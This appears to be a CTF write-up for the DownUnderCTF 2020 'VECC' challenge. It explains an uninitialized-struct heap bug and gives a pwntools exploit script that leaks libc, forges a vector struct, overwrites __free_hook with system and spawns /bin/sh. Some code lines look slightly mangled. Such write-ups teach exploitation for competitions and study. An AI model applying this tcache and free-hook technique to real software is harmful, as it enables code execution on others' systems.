DownUnderCTF 2020 - VECC

3 minute read

DownUnderCTF 2020 - VECC


I’ve been porting C++ vectors to C and I think I’ve finally hit a flawless implementation! I even made a cool shell for playing with them and everything!


The program implements its own vector structure and gives us a shell to use all of its functions. This is how the struct looks like after reversing it with IDA:

struct vec{
  char* buffer; //64 bit
  int size; //32 bit
  int capacity; //32 bit
}; //total size: 0x10 bytes

capacity is the total length of the buffer, while size is what we’re actually using. The struct comes with a set of functions such as append, clear, destroy. When we want to go over the vector’s capacity, realloc is called on buffer with the next power of 2. Very standard implementation.

The Vulnerability

int create_vecc(){
  int v0; // eax

  v0 = get_index();
  if ( v0 == -1 )
    return puts("Invalid!");
  *(&vectors + v0) = (vec *)malloc(0x10uLL);
  return puts("Done!");

Do not look for what’s there, look for what’s not there. None of the struct’s members are initialized. How can this be exploited?

vec structs are obtained with malloc(0x10), the 0x20 bin. malloc recycles chunks that were already freed.

We can “initialize” the vec struct ourselves with the values we place in a chunk we free. Let’s see what happens when we destroy a vector.

int destroy_vecc(){
  // ~ snip ~
  v3 = *(&vectors + v0);
  if ( v2->buffer ) {
    free((void *)v2->buffer);
    v3 = *(&vectors + v1);
  v2->buffer = 0LL;
  *(_QWORD *)&v2->size = 0LL; //this also clears capacity! Notice the QWORD cast.
  *(&vectors + v1) = 0LL;

The vector’s buffer is freed and its size & capacity are set to 0. Note that even though the buffer was freed, it still lives in the heap. We just lose the first 8 bytes of it because they will be used by the tcache, as linked list pointer.

We can use this to set the capacity of a vec to whatever value we want, allowing us to perform an overflow on the heap. But we don’t even need to do a real overflow. buffer, uninitialized, will point to the next free chunk in the 0x20 bin. If capacity were set to 0 the program would call realloc, giving us a new in-use chunk. With the overwritten capacity we can write on this free chunk no problem! This is a bit like having a surprise UAF.

The Exploit

After figuring out the vulnerability it’s really just a matter of sitting down with gdb and trying things until you’re doing something that works. This is what I ended up with.

# Create a vector and a 0x10 buffer
append(0, 0x10, b'a'*8 + p32(0) + p32(0x102020))

# Free the buffer and then the vector struct.

# Takes vector0's chunk. This is not useful.

# Takes buffer0's chunk. This is useful.
# vector2 will have 0x102020 capacity, because it takes the freed buffer chunk from vec 0.
# Also, the buffer member points to the next free 0x20 bin chunk.

# This means we can take control of the tcache, or of the content of the next 0x20 chunk we allocate. 
# In this case, taking control of the tcache is just a side effect.
# What I'm really trying to do is defining the next vec struct.
# buffer = 0x602030
# size = 8
# capacity = [big number]
# Remember that append_vecc uses malloc to store the input.
# Do not use the 0x20 bin for it! That would defeat the point. Here I am using the 0x30 bin
append(2, 0x20, p64(0x602030) + p32(8) + b'a'*0x14)

# vec3 struct is initialized just like we wanted it.
# 0x602030 is on the .bss segment, just before the list of vec structs at 0x602040.
# 0x602030 contains a pointer to the libc's stdin struct, which means we can leak libc.
leak = u64(p.recv(8))
libc_elf.address = leak - libc_elf.sym['_IO_2_1_stdin_']'Libc: {hex(libc_elf.address)}')

# extend vec3 and make a fake vector on 0x602038, pointing to __free_hook - 8.
# Add the fake vec to the list of vectors, index 1
append(3, 0x40, p64(libc_elf.sym['__free_hook'] - 8) + p32(0) + p32(0x10000) + p64(0x602038) + b'a'*0x28)

# Overwrite free_hook. This input string will be placed in a temporary buffer, so we send /bin/sh\x00 first,
# And when free is called on the temporary buffer it will be taken as parameter to system.
append(1, 0x20, b'/bin/sh\x00' + p64(libc_elf.sym['system']) + b'a'*0x10)

The Flag